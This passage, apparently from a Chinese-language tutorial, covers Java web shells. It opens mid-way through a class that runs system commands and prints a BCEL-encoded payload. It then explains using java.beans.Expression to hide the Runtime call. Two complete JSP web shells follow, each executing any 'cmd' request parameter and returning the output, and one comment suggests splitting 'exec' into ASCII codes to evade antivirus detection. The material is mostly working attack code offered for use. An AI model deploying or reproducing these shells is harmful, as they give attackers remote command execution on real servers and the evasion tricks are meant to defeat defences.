  13. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
  14. String line;
  15. while((line = bufferedReader.readLine()) != null) {
  16. stringBuilder.append(line).append("\n");
  17. }
  18. res = stringBuilder.toString();
  19. }
  20. @Override
  21. public String toString() {
  22. return res;
  23. }
  24. public static void main(String[] args) throws IOException {
  25. InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");
  26. byte[] bytes = new byte[inputStream.available()];
  27. inputStream.read(bytes);
  28. String code = Utility.encode(bytes, true);
  29. System.out.println("$$BCEL$$" + code);
  30. }
  31. }

因为BCEL生成的时候是不带前缀BCEL的,所以需要我们自己补充上。

baensExpression

java.beans.Expression同样可以实现命令执行,第一个参数是目标对象,第二个参数是所要调用的目标对象的方法,第三个参数是参数数组。这个类的优势是可以把要执行的方法放到一个字符串的位置,不过限制就是第一个参数必须是Object。不过我们可以配合反射将Runtime类的关键字给隐藏掉。
image-20220102201118870.png

  1. <%@ page import="java.io.BufferedReader" %>
  2. <%@ page import="java.io.InputStreamReader" %>
  3. <%@ page import="java.beans.Expression" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page language="java" pageEncoding="UTF-8" %>
  6. <%
  7. String cmd= request.getParameter("cmd");
  8. Expression exec = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
  9. Process process=(Process) exec.getValue();
  10. InputStream inputStream = process.getInputStream();
  11. StringBuilder stringBuilder = new StringBuilder();
  12. InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
  13. BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
  14. String s =null;
  15. response.getWriter().println("
  16. <pre>");
  17. while ((s=bufferedReader.readLine())!=null){
  18. stringBuilder.append(s).append("\n");
  19. }
  20. response.getWriter().println(stringBuilder.toString());
  21. response.getWriter().println("
  22. <pre>");
  23. %>
  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3. String cmd = request.getParameter("cmd");
  4. // 这里的exec可以拆为四个字符的ASCII做进一步免杀
  5. java.beans.Expression shell = new java.beans.Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
  6. java.io.InputStream in = ((Process)shell.getValue()).getInputStream();
  7. // 普通回显
  8. StringBuilder outStr = new StringBuilder();
  9. response.getWriter().print("
  10. <pre>");
  11. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  12. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  13. String s = null;
  14. while ((s = stdInput.readLine()) != null) {
  15. outStr.append(s + "\n");
  16. }
  17. response.getWriter().print(outStr.toString());
  18. response.getWriter().print("</pre>");
  19. %>